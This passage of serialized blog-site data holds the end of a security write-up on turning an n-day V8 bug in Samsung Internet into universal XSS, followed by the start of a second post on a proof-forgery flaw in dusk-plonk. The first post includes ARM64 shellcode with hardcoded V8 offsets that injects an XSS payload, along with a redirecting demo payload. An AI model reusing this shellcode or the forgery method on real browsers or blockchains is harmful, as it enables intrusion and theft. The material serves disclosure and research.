repl_mode);\n",[142073],{"type":25,"tag":115,"props":142074,"children":142075},{"__ignoreMap":7},[142076,142124,142153,142174],{"type":25,"tag":201,"props":142077,"children":142078},{"class":203,"line":204},[142079,142084,142088,142092,142097,142102,142106,142111,142115,142120],{"type":25,"tag":201,"props":142080,"children":142081},{"style":4925},[142082],{"type":31,"value":142083},"MaybeDirectHandle",{"type":25,"tag":201,"props":142085,"children":142086},{"style":220},[142087],{"type":31,"value":1298},{"type":25,"tag":201,"props":142089,"children":142090},{"style":4925},[142091],{"type":31,"value":49928},{"type":25,"tag":201,"props":142093,"children":142094},{"style":220},[142095],{"type":31,"value":142096},"> DebugEvaluate::",{"type":25,"tag":201,"props":142098,"children":142099},{"style":214},[142100],{"type":31,"value":142101},"Global",{"type":25,"tag":201,"props":142103,"children":142104},{"style":220},[142105],{"type":31,"value":298},{"type":25,"tag":201,"props":142107,"children":142108},{"style":4925},[142109],{"type":31,"value":142110},"Isolate",{"type":25,"tag":201,"props":142112,"children":142113},{"style":208},[142114],{"type":31,"value":6077},{"type":25,"tag":201,"props":142116,"children":142117},{"style":246},[142118],{"type":31,"value":142119}," isolate",{"type":25,"tag":201,"props":142121,"children":142122},{"style":220},[142123],{"type":31,"value":547},{"type":25,"tag":201,"props":142125,"children":142126},{"class":203,"line":226},[142127,142132,142136,142140,142144,142149],{"type":25,"tag":201,"props":142128,"children":142129},{"style":4925},[142130],{"type":31,"value":142131},"                                                Handle",{"type":25,"tag":201,"props":142133,"children":142134},{"style":220},[142135],{"type":31,"value":1298},{"type":25,"tag":201,"props":142137,"children":142138},{"style":4925},[142139],{"type":31,"value":49003},{"type":25,"tag":201,"props":142141,"children":142142},{"style":220},[142143],{"type":31,"value":7330},{"type":25,"tag":201,"props":142145,"children":142146},{"style":246},[142147],{"type":31,"value":142148},"source",{"type":25,"tag":201,"props":142150,"children":142151},{"style":220},[142152],{"type":31,"value":547},{"type":25,"tag":201,"props":142154,"children":142155},{"class":203,"line":278},[142156,142161,142166,142170],{"type":25,"tag":201,"props":142157,"children":142158},{"style":220},[142159],{"type":31,"value":142160},"                                                debug::",{"type":25,"tag":201,"props":142162,"children":142163},{"style":4925},[142164],{"type":31,"value":142165},"EvaluateGlobalMode",{"type":25,"tag":201,"props":142167,"children":142168},{"style":246},[142169],{"type":31,"value":107358},{"type":25,"tag":201,"props":142171,"children":142172},{"style":220},[142173],{"type":31,"value":547},{"type":25,"tag":201,"props":142175,"children":142176},{"class":203,"line":311},[142177,142182,142187],{"type":25,"tag":201,"props":142178,"children":142179},{"style":4925},[142180],{"type":31,"value":142181},"                                                REPLMode",{"type":25,"tag":201,"props":142183,"children":142184},{"style":246},[142185],{"type":31,"value":142186}," repl_mode",{"type":25,"tag":201,"props":142188,"children":142189},{"style":220},[142190],{"type":31,"value":308},{"type":25,"tag":34,"props":142192,"children":142193},{},[142194,142196,142201,142203,142208,142210,142215,142217,142223,142224,142230],{"type":31,"value":142195},"We must supply the ",{"type":25,"tag":115,"props":142197,"children":142199},{"className":142198},[],[142200],{"type":31,"value":141769},{"type":31,"value":142202}," pointer, a ",{"type":25,"tag":115,"props":142204,"children":142206},{"className":142205},[],[142207],{"type":31,"value":49003},{"type":31,"value":142209}," object containing our XSS payload as ",{"type":25,"tag":115,"props":142211,"children":142213},{"className":142212},[],[142214],{"type":31,"value":142148},{"type":31,"value":142216},", and the ",{"type":25,"tag":115,"props":142218,"children":142220},{"className":142219},[],[142221],{"type":31,"value":142222},"mode",{"type":31,"value":12493},{"type":25,"tag":115,"props":142225,"children":142227},{"className":142226},[],[142228],{"type":31,"value":142229},"repl_mode",{"type":31,"value":142231}," values, which are simple enum literals.",{"type":25,"tag":34,"props":142233,"children":142234},{},[142235,142237,142242,142244,142250,142252,142257,142259,142264,142266,142272,142274,142280,142282,142287,142289,142294,142296,142301,142303,142308],{"type":31,"value":142236},"To obtain the ",{"type":25,"tag":115,"props":142238,"children":142240},{"className":142239},[],[142241],{"type":31,"value":141769},{"type":31,"value":142243}," pointer within our shellcode, we call ",{"type":25,"tag":115,"props":142245,"children":142247},{"className":142246},[],[142248],{"type":31,"value":142249},"Isolate::TryGetCurrent()",{"type":31,"value":142251},", which returns the current ",{"type":25,"tag":115,"props":142253,"children":142255},{"className":142254},[],[142256],{"type":31,"value":141769},{"type":31,"value":142258},". To construct a valid ",{"type":25,"tag":115,"props":142260,"children":142262},{"className":142261},[],[142263],{"type":31,"value":49003},{"type":31,"value":142265}," object holding our payload, we call ",{"type":25,"tag":115,"props":142267,"children":142269},{"className":142268},[],[142270],{"type":31,"value":142271},"v8::String::NewFromUTF8",{"type":31,"value":142273},". This ",{"type":25,"tag":115,"props":142275,"children":142277},{"className":142276},[],[142278],{"type":31,"value":142279},"NewFromUTF8",{"type":31,"value":142281}," function takes four arguments: the ",{"type":25,"tag":115,"props":142283,"children":142285},{"className":142284},[],[142286],{"type":31,"value":141769},{"type":31,"value":142288},", the string bytes as ",{"type":25,"tag":115,"props":142290,"children":142292},{"className":142291},[],[142293],{"type":31,"value":5206},{"type":31,"value":142295},", an enum literal specifying the string type, and ",{"type":25,"tag":115,"props":142297,"children":142299},{"className":142298},[],[142300],{"type":31,"value":10011},{"type":31,"value":142302},", which is the size of the ",{"type":25,"tag":115,"props":142304,"children":142306},{"className":142305},[],[142307],{"type":31,"value":5206},{"type":31,"value":18660},{"type":25,"tag":34,"props":142310,"children":142311},{},[142312],{"type":31,"value":142313},"The resulting shellcode that executes our XSS payload looks like this:",{"type":25,"tag":191,"props":142315,"children":142317},{"code":142316,"language":140605,"meta":7,"className":140606,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[142318],{"type":25,"tag":115,"props":142319,"children":142320},{"__ignoreMap":7},[142321,142329,142337,142345,142353,142361,142369,142377,142385,142393,142401,142409,142417,142424,142432,142440,142448,142456,142463,142471,142478,142486,142494,142501,142508,142515,142522,142529,142536,142544,142552,142559,142567,142575,142582,142590,142598,142605,142612,142620,142628,142636,142643,142651,142659,142667,142675,142683,142691,142699,142707,142715,142723,142731,142738,142746,142754,142761,142769,142777,142785,142793,142800,142808,142815,142822,142830,142838,142846,142854,142863,142872,142880],{"type":25,"tag":201,"props":142322,"children":142323},{"class":203,"line":204},[142324],{"type":25,"tag":201,"props":142325,"children":142326},{},[142327],{"type":31,"value":142328},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":25,"tag":201,"props":142330,"children":142331},{"class":203,"line":226},[142332],{"type":25,"tag":201,"props":142333,"children":142334},{},[142335],{"type":31,"value":142336},"movz x1, #0xf7a0\n",{"type":25,"tag":201,"props":142338,"children":142339},{"class":203,"line":278},[142340],{"type":25,"tag":201,"props":142341,"children":142342},{},[142343],{"type":31,"value":142344},"movk x1, #0x0071, lsl #16\n",{"type":25,"tag":201,"props":142346,"children":142347},{"class":203,"line":311},[142348],{"type":25,"tag":201,"props":142349,"children":142350},{},[142351],{"type":31,"value":142352},"add x9, x12, x1\n",{"type":25,"tag":201,"props":142354,"children":142355},{"class":203,"line":330},[142356],{"type":25,"tag":201,"props":142357,"children":142358},{},[142359],{"type":31,"value":142360},"movz x1, #0x5ac8\n",{"type":25,"tag":201,"props":142362,"children":142363},{"class":203,"line":397},[142364],{"type":25,"tag":201,"props":142365,"children":142366},{},[142367],{"type":31,"value":142368},"movk x1, #0x054f, lsl #16\n",{"type":25,"tag":201,"props":142370,"children":142371},{"class":203,"line":437},[142372],{"type":25,"tag":201,"props":142373,"children":142374},{},[142375],{"type":31,"value":142376},"add x0, x12, x1\n",{"type":25,"tag":201,"props":142378,"children":142379},{"class":203,"line":464},[142380],{"type":25,"tag":201,"props":142381,"children":142382},{},[142383],{"type":31,"value":142384},"blr x9\n",{"type":25,"tag":201,"props":142386,"children":142387},{"class":203,"line":490},[142388],{"type":25,"tag":201,"props":142389,"children":142390},{},[142391],{"type":31,"value":142392},"// *x0 is isolate pointer\n",{"type":25,"tag":201,"props":142394,"children":142395},{"class":203,"line":499},[142396],{"type":25,"tag":201,"props":142397,"children":142398},{},[142399],{"type":31,"value":142400},"// store isolate ptr to stack\n",{"type":25,"tag":201,"props":142402,"children":142403},{"class":203,"line":522},[142404],{"type":25,"tag":201,"props":142405,"children":142406},{},[142407],{"type":31,"value":142408},"ldr x13, [x0]\n",{"type":25,"tag":201,"props":142410,"children":142411},{"class":203,"line":531},[142412],{"type":25,"tag":201,"props":142413,"children":142414},{},[142415],{"type":31,"value":142416},"str x13, [sp, #-16]!\n",{"type":25,"tag":201,"props":142418,"children":142419},{"class":203,"line":550},[142420],{"type":25,"tag":201,"props":142421,"children":142422},{"emptyLinePlaceholder":17},[142423],{"type":31,"value":496},{"type":25,"tag":201,"props":142425,"children":142426},{"class":203,"line":563},[142427],{"type":25,"tag":201,"props":142428,"children":142429},{},[142430],{"type":31,"value":142431},"// store x10 = v8::String::NewFromUTF8\n",{"type":25,"tag":201,"props":142433,"children":142434},{"class":203,"line":572},[142435],{"type":25,"tag":201,"props":142436,"children":142437},{},[142438],{"type":31,"value":142439},"movz x1, #0x1140\n",{"type":25,"tag":201,"props":142441,"children":142442},{"class":203,"line":590},[142443],{"type":25,"tag":201,"props":142444,"children":142445},{},[142446],{"type":31,"value":142447},"movk x1, #0x0242, lsl #16\n",{"type":25,"tag":201,"props":142449,"children":142450},{"class":203,"line":608},[142451],{"type":25,"tag":201,"props":142452,"children":142453},{},[142454],{"type":31,"value":142455},"sub x10, x12, x1\n",{"type":25,"tag":201,"props":142457,"children":142458},{"class":203,"line":617},[142459],{"type":25,"tag":201,"props":142460,"children":142461},{"emptyLinePlaceholder":17},[142462],{"type":31,"value":496},{"type":25,"tag":201,"props":142464,"children":142465},{"class":203,"line":625},[142466],{"type":25,"tag":201,"props":142467,"children":142468},{},[142469],{"type":31,"value":142470},"// mmap a RW page for our xss payload\n",{"type":25,"tag":201,"props":142472,"children":142473},{"class":203,"line":642},[142474],{"type":25,"tag":201,"props":142475,"children":142476},{},[142477],{"type":31,"value":140821},{"type":25,"tag":201,"props":142479,"children":142480},{"class":203,"line":659},[142481],{"type":25,"tag":201,"props":142482,"children":142483},{},[142484],{"type":31,"value":142485},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":25,"tag":201,"props":142487,"children":142488},{"class":203,"line":667},[142489],{"type":25,"tag":201,"props":142490,"children":142491},{},[142492],{"type":31,"value":142493},"mov x2, #3\n",{"type":25,"tag":201,"props":142495,"children":142496},{"class":203,"line":676},[142497],{"type":25,"tag":201,"props":142498,"children":142499},{},[142500],{"type":31,"value":140844},{"type":25,"tag":201,"props":142502,"children":142503},{"class":203,"line":694},[142504],{"type":25,"tag":201,"props":142505,"children":142506},{},[142507],{"type":31,"value":140852},{"type":25,"tag":201,"props":142509,"children":142510},{"class":203,"line":707},[142511],{"type":25,"tag":201,"props":142512,"children":142513},{},[142514],{"type":31,"value":140860},{"type":25,"tag":201,"props":142516,"children":142517},{"class":203,"line":715},[142518],{"type":25,"tag":201,"props":142519,"children":142520},{},[142521],{"type":31,"value":140868},{"type":25,"tag":201,"props":142523,"children":142524},{"class":203,"line":732},[142525],{"type":25,"tag":201,"props":142526,"children":142527},{},[142528],{"type":31,"value":140783},{"type":25,"tag":201,"props":142530,"children":142531},{"class":203,"line":749},[142532],{"type":25,"tag":201,"props":142533,"children":142534},{"emptyLinePlaceholder":17},[142535],{"type":31,"value":496},{"type":25,"tag":201,"props":142537,"children":142538},{"class":203,"line":757},[142539],{"type":25,"tag":201,"props":142540,"children":142541},{},[142542],{"type":31,"value":142543},"// write our xss payload to mmapped rw page\n",{"type":25,"tag":201,"props":142545,"children":142546},{"class":203,"line":765},[142547],{"type":25,"tag":201,"props":142548,"children":142549},{},[142550],{"type":31,"value":142551},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":25,"tag":201,"props":142553,"children":142554},{"class":203,"line":783},[142555],{"type":25,"tag":201,"props":142556,"children":142557},{"emptyLinePlaceholder":17},[142558],{"type":31,"value":496},{"type":25,"tag":201,"props":142560,"children":142561},{"class":203,"line":792},[142562],{"type":25,"tag":201,"props":142563,"children":142564},{},[142565],{"type":31,"value":142566},"// store x11 = XSS_PAYLOAD string\n",{"type":25,"tag":201,"props":142568,"children":142569},{"class":203,"line":801},[142570],{"type":25,"tag":201,"props":142571,"children":142572},{},[142573],{"type":31,"value":142574},"mov x11, x0\n",{"type":25,"tag":201,"props":142576,"children":142577},{"class":203,"line":809},[142578],{"type":25,"tag":201,"props":142579,"children":142580},{"emptyLinePlaceholder":17},[142581],{"type":31,"value":496},{"type":25,"tag":201,"props":142583,"children":142584},{"class":203,"line":857},[142585],{"type":25,"tag":201,"props":142586,"children":142587},{},[142588],{"type":31,"value":142589},"// pop back isolate pointer\n",{"type":25,"tag":201,"props":142591,"children":142592},{"class":203,"line":865},[142593],{"type":25,"tag":201,"props":142594,"children":142595},{},[142596],{"type":31,"value":142597},"ldr x13, [sp], #16\n",{"type":25,"tag":201,"props":142599,"children":142600},{"class":203,"line":931},[142601],{"type":25,"tag":201,"props":142602,"children":142603},{"emptyLinePlaceholder":17},[142604],{"type":31,"value":496},{"type":25,"tag":201,"props":142606,"children":142607},{"class":203,"line":939},[142608],{"type":25,"tag":201,"props":142609,"children":142610},{},[142611],{"type":31,"value":140904},{"type":25,"tag":201,"props":142613,"children":142614},{"class":203,"line":960},[142615],{"type":25,"tag":201,"props":142616,"children":142617},{},[142618],{"type":31,"value":142619},"// x13 = isolate *\n",{"type":25,"tag":201,"props":142621,"children":142622},{"class":203,"line":977},[142623],{"type":25,"tag":201,"props":142624,"children":142625},{},[142626],{"type":31,"value":142627},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":25,"tag":201,"props":142629,"children":142630},{"class":203,"line":994},[142631],{"type":25,"tag":201,"props":142632,"children":142633},{},[142634],{"type":31,"value":142635},"// x10 = v8::String::NewFromUtf8\n",{"type":25,"tag":201,"props":142637,"children":142638},{"class":203,"line":1016},[142639],{"type":25,"tag":201,"props":142640,"children":142641},{"emptyLinePlaceholder":17},[142642],{"type":31,"value":496},{"type":25,"tag":201,"props":142644,"children":142645},{"class":203,"line":1089},[142646],{"type":25,"tag":201,"props":142647,"children":142648},{},[142649],{"type":31,"value":142650},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":25,"tag":201,"props":142652,"children":142653},{"class":203,"line":1107},[142654],{"type":25,"tag":201,"props":142655,"children":142656},{},[142657],{"type":31,"value":142658},"// arg0 = isolate *\n",{"type":25,"tag":201,"props":142660,"children":142661},{"class":203,"line":1116},[142662],{"type":25,"tag":201,"props":142663,"children":142664},{},[142665],{"type":31,"value":142666},"mov x0, x13\n",{"type":25,"tag":201,"props":142668,"children":142669},{"class":203,"line":1124},[142670],{"type":25,"tag":201,"props":142671,"children":142672},{},[142673],{"type":31,"value":142674},"// arg1 = char *c_str\n",{"type":25,"tag":201,"props":142676,"children":142677},{"class":203,"line":1163},[142678],{"type":25,"tag":201,"props":142679,"children":142680},{},[142681],{"type":31,"value":142682},"mov x1, x11\n",{"type":25,"tag":201,"props":142684,"children":142685},{"class":203,"line":1172},[142686],{"type":25,"tag":201,"props":142687,"children":142688},{},[142689],{"type":31,"value":142690},"// arg2 = type = kNormal\n",{"type":25,"tag":201,"props":142692,"children":142693},{"class":203,"line":1181},[142694],{"type":25,"tag":201,"props":142695,"children":142696},{},[142697],{"type":31,"value":142698},"mov x2, #0\n",{"type":25,"tag":201,"props":142700,"children":142701},{"class":203,"line":1190},[142702],{"type":25,"tag":201,"props":142703,"children":142704},{},[142705],{"type":31,"value":142706},"// arg4 = length\n",{"type":25,"tag":201,"props":142708,"children":142709},{"class":203,"line":1198},[142710],{"type":25,"tag":201,"props":142711,"children":142712},{},[142713],{"type":31,"value":142714},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":25,"tag":201,"props":142716,"children":142717},{"class":203,"line":1220},[142718],{"type":25,"tag":201,"props":142719,"children":142720},{},[142721],{"type":31,"value":142722},"// call NewFromUTF8\n",{"type":25,"tag":201,"props":142724,"children":142725},{"class":203,"line":82035},[142726],{"type":25,"tag":201,"props":142727,"children":142728},{},[142729],{"type":31,"value":142730},"blr x10\n",{"type":25,"tag":201,"props":142732,"children":142733},{"class":203,"line":82048},[142734],{"type":25,"tag":201,"props":142735,"children":142736},{"emptyLinePlaceholder":17},[142737],{"type":31,"value":496},{"type":25,"tag":201,"props":142739,"children":142740},{"class":203,"line":82056},[142741],{"type":25,"tag":201,"props":142742,"children":142743},{},[142744],{"type":31,"value":142745},"// store x14 = String XSS_PAYLOAD\n",{"type":25,"tag":201,"props":142747,"children":142748},{"class":203,"line":82064},[142749],{"type":25,"tag":201,"props":142750,"children":142751},{},[142752],{"type":31,"value":142753},"mov x14, x0\n",{"type":25,"tag":201,"props":142755,"children":142756},{"class":203,"line":82072},[142757],{"type":25,"tag":201,"props":142758,"children":142759},{"emptyLinePlaceholder":17},[142760],{"type":31,"value":496},{"type":25,"tag":201,"props":142762,"children":142763},{"class":203,"line":82112},[142764],{"type":25,"tag":201,"props":142765,"children":142766},{},[142767],{"type":31,"value":142768},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":25,"tag":201,"props":142770,"children":142771},{"class":203,"line":82120},[142772],{"type":25,"tag":201,"props":142773,"children":142774},{},[142775],{"type":31,"value":142776},"movz x1, #0xe44c\n",{"type":25,"tag":201,"props":142778,"children":142779},{"class":203,"line":89307},[142780],{"type":25,"tag":201,"props":142781,"children":142782},{},[142783],{"type":31,"value":142784},"movk x1, #0x014e, lsl #16\n",{"type":25,"tag":201,"props":142786,"children":142787},{"class":203,"line":89315},[142788],{"type":25,"tag":201,"props":142789,"children":142790},{},[142791],{"type":31,"value":142792},"sub x9, x12, x1\n",{"type":25,"tag":201,"props":142794,"children":142795},{"class":203,"line":102661},[142796],{"type":25,"tag":201,"props":142797,"children":142798},{"emptyLinePlaceholder":17},[142799],{"type":31,"value":496},{"type":25,"tag":201,"props":142801,"children":142802},{"class":203,"line":102669},[142803],{"type":25,"tag":201,"props":142804,"children":142805},{},[142806],{"type":31,"value":142807},"// call v8::internal::DebugEvaluate::Global\n",{"type":25,"tag":201,"props":142809,"children":142810},{"class":203,"line":102677},[142811],{"type":25,"tag":201,"props":142812,"children":142813},{},[142814],{"type":31,"value":142658},{"type":25,"tag":201,"props":142816,"children":142817},{"class":203,"line":102685},[142818],{"type":25,"tag":201,"props":142819,"children":142820},{},[142821],{"type":31,"value":142666},{"type":25,"tag":201,"props":142823,"children":142824},{"class":203,"line":102713},[142825],{"type":25,"tag":201,"props":142826,"children":142827},{},[142828],{"type":31,"value":142829},"// arg1 = String *source\n",{"type":25,"tag":201,"props":142831,"children":142832},{"class":203,"line":105484},[142833],{"type":25,"tag":201,"props":142834,"children":142835},{},[142836],{"type":31,"value":142837},"mov x1, x14\n",{"type":25,"tag":201,"props":142839,"children":142840},{"class":203,"line":105492},[142841],{"type":25,"tag":201,"props":142842,"children":142843},{},[142844],{"type":31,"value":142845},"// arg2 = mode = kDefault\n",{"type":25,"tag":201,"props":142847,"children":142849},{"class":203,"line":142848},69,[142850],{"type":25,"tag":201,"props":142851,"children":142852},{},[142853],{"type":31,"value":142698},{"type":25,"tag":201,"props":142855,"children":142857},{"class":203,"line":142856},70,[142858],{"type":25,"tag":201,"props":142859,"children":142860},{},[142861],{"type":31,"value":142862},"// arg3 = repl_mode = kYes\n",{"type":25,"tag":201,"props":142864,"children":142866},{"class":203,"line":142865},71,[142867],{"type":25,"tag":201,"props":142868,"children":142869},{},[142870],{"type":31,"value":142871},"mov x3, #0\n",{"type":25,"tag":201,"props":142873,"children":142875},{"class":203,"line":142874},72,[142876],{"type":25,"tag":201,"props":142877,"children":142878},{"emptyLinePlaceholder":17},[142879],{"type":31,"value":496},{"type":25,"tag":201,"props":142881,"children":142883},{"class":203,"line":142882},73,[142884],{"type":25,"tag":201,"props":142885,"children":142886},{},[142887],{"type":31,"value":142384},{"type":25,"tag":40,"props":142889,"children":142891},{"id":142890},"uxss-demo",[142892],{"type":31,"value":142893},"UXSS Demo",{"type":25,"tag":34,"props":142895,"children":142896},{},[142897,142899,142905],{"type":31,"value":142898},"Below is a demo that executes the following UXSS payload: ",{"type":25,"tag":115,"props":142900,"children":142902},{"className":142901},[],[142903],{"type":31,"value":142904},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":31,"value":80},{"type":25,"tag":132942,"props":142907,"children":142910},{"className":142908,"controls":17},[142909],"blog-video-responsive",[142911,142913,142917],{"type":31,"value":142912},"\n  ",{"type":25,"tag":142148,"props":142914,"children":142916},{"src":142915,"type":132940},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":31,"value":142918},"\n  Your browser does not support the video tag.\n",{"type":25,"tag":26,"props":142920,"children":142921},{"id":4323},[142922],{"type":31,"value":4326},{"type":25,"tag":34,"props":142924,"children":142925},{},[142926],{"type":31,"value":142927},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":25,"tag":34,"props":142929,"children":142930},{},[142931],{"type":31,"value":142932},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":25,"tag":4349,"props":142934,"children":142935},{},[142936],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":142938},[142939,142943,142946,142956],{"id":28,"depth":226,"text":32,"children":142940},[142941,142942],{"id":133076,"depth":278,"text":133079},{"id":133159,"depth":278,"text":133162},{"id":133192,"depth":226,"text":133195,"children":142944},[142945],{"id":133333,"depth":278,"text":133187},{"id":133477,"depth":226,"text":133480,"children":142947},[142948,142949,142950,142951,142952,142953,142954,142955],{"id":133483,"depth":278,"text":133486},{"id":133940,"depth":278,"text":133943},{"id":134123,"depth":278,"text":134126},{"id":134234,"depth":278,"text":134237},{"id":134511,"depth":278,"text":134514},{"id":137221,"depth":278,"text":137224},{"id":140502,"depth":278,"text":140505},{"id":142890,"depth":278,"text":142893},{"id":4323,"depth":226,"text":4326},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":142961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":142962,"description":142963,"date":142964,"author":142965,"image":142966,"isFeatured":17,"onBlogPage":17,"tags":142968,"body":142971,"_type":4371,"_id":148235,"_source":4373,"_file":148236,"_stem":148237,"_extension":4376},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[108922,108923],{"src":142967,"width":98352,"height":15},"/posts/dusk-commitment-issues/title.png",[142969,142970],"dusk","plonk",{"type":22,"children":142972,"toc":148215},[142973,142979,143020,143032,143038,143052,143057,143063,143354,143358,143630,143860,143866,144551,144555,145050,145058,145064,145083,145088,145094,145319,145358,145369,145375,145386,146094,146099,146102,146108,146161,146196,146228,146233,146237,146240,146246,146257,146270,146301,146368,146376,146398,146411,146838,146861,146866,146869,146874,146901,146997,147008,147055,147093,147104,147442,147459,147467,147470,147476,147481,147515,147523,147604,147607,147613,147627,147645,147650,147690,147698,147719,147722,147728,147733,147798,147812,147815,147821,147861,147872,147877,147882,147888,147902,147983,148004,148031,148034,148040,148054,148059,148064,148069,148204,148210],{"type":25,"tag":4321,"props":142974,"children":142976},{"id":142975},"commitment-issues-unverified-evaluations-in-dusks-plonk",[142977],{"type":31,"value":142978},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":25,"tag":34,"props":142980,"children":142981},{},[142982,142984,142991,142993,143000,143002,143009,143011,143018],{"type":31,"value":142983},"We found a critical soundness vulnerability in ",{"type":25,"tag":71,"props":142985,"children":142988},{"href":142986,"rel":142987},"https://github.com/dusk-network/plonk/",[75],[142989],{"type":31,"value":142990},"dusk-plonk",{"type":31,"value":142992},", the PLONK implementation powering ",{"type":25,"tag":71,"props":142994,"children":142997},{"href":142995,"rel":142996},"https://dusk.network/",[75],[142998],{"type":31,"value":142999},"Dusk Network's",{"type":31,"value":143001}," ~$60M ",{"type":25,"tag":71,"props":143003,"children":143006},{"href":143004,"rel":143005},"https://www.coingecko.com/en/coins/dusk",[75],[143007],{"type":31,"value":143008},"market cap",{"type":31,"value":143010},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":25,"tag":71,"props":143012,"children":143015},{"href":143013,"rel":143014},"https://github.com/dusk-network/rusk",[75],[143016],{"type":31,"value":143017},"Rusk",{"type":31,"value":143019}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":25,"tag":34,"props":143021,"children":143022},{},[143023,143025,143030],{"type":31,"value":143024},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":25,"tag":1252,"props":143026,"children":143027},{},[143028],{"type":31,"value":143029},"without ever validating them against the trusted commitments in the verifier key.",{"type":31,"value":143031}," The prover can set them to whatever values make the equation pass.",{"type":25,"tag":26,"props":143033,"children":143035},{"id":143034},"how-plonk-works-briefly",[143036],{"type":31,"value":143037},"How PLONK works (briefly)",{"type":25,"tag":34,"props":143039,"children":143040},{},[143041,143043,143050],{"type":31,"value":143042},"For a rigorous treatment see the ",{"type":25,"tag":71,"props":143044,"children":143047},{"href":143045,"rel":143046},"https://eprint.iacr.org/2019/953",[75],[143048],{"type":31,"value":143049},"original paper",{"type":31,"value":143051},"; what follows covers only the parts needed to understand the bug.",{"type":25,"tag":34,"props":143053,"children":143054},{},[143055],{"type":31,"value":143056},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":25,"tag":40,"props":143058,"children":143060},{"id":143059},"arithmetic-circuits-and-constraints",[143061],{"type":31,"value":143062},"Arithmetic circuits and constraints",{"type":25,"tag":34,"props":143064,"children":143065},{},[143066,143068,143117,143119,143268,143270,143353],{"type":31,"value":143067},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":25,"tag":115,"props":143069,"children":143071},{"className":143070},[5485,5486],[143072],{"type":25,"tag":201,"props":143073,"children":143075},{"className":143074},[5491],[143076],{"type":25,"tag":201,"props":143077,"children":143079},{"className":143078,"ariaHidden":5497},[5496],[143080],{"type":25,"tag":201,"props":143081,"children":143083},{"className":143082},[5502],[143084,143088,143093,143098,143103,143107,143112],{"type":25,"tag":201,"props":143085,"children":143087},{"className":143086,"style":5614},[5507],[],{"type":25,"tag":201,"props":143089,"children":143091},{"className":143090},[23212],[143092],{"type":31,"value":298},{"type":25,"tag":201,"props":143094,"children":143096},{"className":143095},[5513,23083],[143097],{"type":31,"value":1606},{"type":25,"tag":201,"props":143099,"children":143101},{"className":143100},[5625],[143102],{"type":31,"value":5628},{"type":25,"tag":201,"props":143104,"children":143106},{"className":143105,"style":5632},[5593],[],{"type":25,"tag":201,"props":143108,"children":143110},{"className":143109,"style":94617},[5513,23083],[143111],{"type":31,"value":4620},{"type":25,"tag":201,"props":143113,"children":143115},{"className":143114},[23234],[143116],{"type":31,"value":3073},{"type":31,"value":143118}," on an elliptic curve, by e.g proving that 